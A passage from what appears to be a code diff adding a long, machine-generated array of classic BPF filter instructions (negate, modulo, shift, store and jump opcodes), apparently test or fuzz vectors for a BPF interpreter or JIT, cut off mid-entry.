.k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000053, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000051, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000052, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x0000002a, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000054, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000055, .code = 0x0005, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000018, .code = 0x0005, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0016, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x52, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0x51, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x50, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x4b, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0x4a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x49, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x48, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x47, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x46, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x001d, .jt = 0x45, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x44, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x43, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x42, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x41, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x40, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x3a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x39, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x38, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x37, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x36, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x35, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x34, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x33, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x32, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x31, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0003, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000002, .code = 0x0064, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x0084, .jt = 0x00, .jf = 0x00 }, + { .k = 0x11111111, .code = 0x0094, .jt = 0x00, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xff, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xfa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xf0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xef, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xee, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xed, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xec, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xeb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xea, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xe0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xde, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xdb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xda, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xd0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xce, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xcb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xca, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xc0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbe, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbd, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbc, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xbb, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xba, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xb0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaf, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xae, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xad, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xac, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xab, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xaa, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa9, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa8, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa7, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa6, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa5, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa4, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa3, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa2, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa1, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0xa0, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x9a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x99, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x98, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x97, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x96, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x95, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x94, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x93, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x92, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x91, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x90, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x8a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x89, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x88, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x87, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x86, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x85, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x84, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x83, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x82, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x81, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x80, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x7a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x79, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x78, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x77, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x76, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x75, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x74, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x73, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x72, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x71, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x70, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6f, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6e, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6d, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6c, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6b, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x6a, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x69, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x68, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x67, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x66, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x65, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x64, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x63, .jf = 0x00 }, + { .k = 0x00000000, .code = 0x001d, .jt = 0x62, .jf = 0x00 }, + { 